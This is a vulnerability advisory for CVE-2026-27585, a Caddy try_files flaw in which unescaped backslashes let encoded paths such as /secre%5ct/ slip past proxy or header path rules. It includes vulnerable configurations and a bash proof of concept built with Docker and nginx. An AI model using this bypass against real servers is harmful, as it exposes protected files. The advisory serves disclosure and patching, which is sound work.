CVE-2026-27585: Caddy's improper sanitization of glob characters in file matcher may lead to bypassing security protections
Summary
The path sanitization in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections.
Details
The tryfiles directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to index.html. caddy example.com { root /srv encode tryfiles {path} /index.html fileserver }
tryfiles patterns are actually glob patterns and file matcher expands them. The {path} in the pattern is replaced with the request path and then is expanded by fs.Glob. The request path is sanitized before being placed inside the pattern and the special chars are escaped . The following code is the sanitization part.
go var globSafeRepl = strings.NewReplacer( "", "\\", "[", "\\[", "?", "\\?", )
expandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) { if runtime.GOOS == "windows" { return val, nil } switch v := val.(type) { case string: return globSafeRepl.Replace(v), nil case fmt.Stringer: return globSafeRepl.Replace(v.String()), nil } return val, nil })
The problem here is that it does not escape backslashes. /something-\/ can match a file named something-\-anything.txt, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.
The backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that h\ello matches hello world even though e is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows /documents/ to the internal network and its upstream is a Caddy server that uses tryfiles, the reverse proxy's protection can be bypassed by requesting the path /do%5ccuments/.
Some configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the tryfiles directive and the filtering route/handle must not be in a same block because tryfiles directive executes before route and handle directives.
For example the following config isn't vulnerable.
caddy :80 { root /srv
route /documents/ { respond "Access denied" 403 }
tryfiles {path} /index.html fileserver }
But this one is vulnerable.
caddy :80 { root /srv
route /documents/ { respond "Access denied" 403 }
route / { tryfiles {path} /index.html } fileserver }
This config is also vulnerable because Header directives executes before tryfiles.
caddy :80 { root /srv header /uploads/ { X-Content-Type-Options "nosniff" Content-Security-Policy "default-src 'none';" } tryfiles {path} /index.html fileserver }
PoC
Paste this script somewhere and run it. It should print "some content" which means that the nginx protection has failed.
bash #!/bin/bash
mkdir secret echo 'some content' > secret/secret.txt
cat > Caddyfile <<'EOF' :80 { root /srv
tryfiles {path} /index.html fileserver } EOF
cat > nginx.conf <<'EOF' events {}
http { server { listen 80; location /secret { return 403; }
location / { proxypass http://caddy; proxysetheader Host $host; } } } EOF
cat > docker-compose.yml <<'EOF' services: caddy: # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb image: caddy:latest volumes: - ./Caddyfile:/etc/caddy/Caddyfile:ro - ./secret:/srv/secret:ro nginx: # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208 image: nginx:latest volumes: - ./nginx.conf:/etc/nginx/nginx.conf:ro ports: - "8000:80" EOF
docker compose up -d curl 'localhost:8000/secre%5ct/secret.txt'
Impact
This vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.
AI Usage
An LLM was used to polish this report.
Other sources
Caddy is an extensible server platform that uses TLS by default. Prior to version 2.11.1, the path sanitization routine in file matcher doesn't sanitize backslashes which can lead to bypassing path related security protections. It affects users with specific Caddy and environment configurations. Version 2.11.1 fixes the issue.
— NVD
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27585?
CVE-2026-27585 is classified as a security vulnerability that could allow unauthorized access due to improper path sanitization.
How do I fix CVE-2026-27585?
To fix CVE-2026-27585, upgrade Caddy to version 2.11.1 or later where the path sanitization issue has been addressed.
What versions of Caddy are affected by CVE-2026-27585?
CVE-2026-27585 affects all versions of Caddy prior to 2.11.1.
What are the potential risks of not addressing CVE-2026-27585?
Not addressing CVE-2026-27585 may lead to unauthorized access, compromising the security integrity of your application.
How does CVE-2026-27585 impact file matcher security in Caddy?
CVE-2026-27585 impacts file matcher security by failing to properly sanitize backslashes, allowing potential bypass of path restrictions.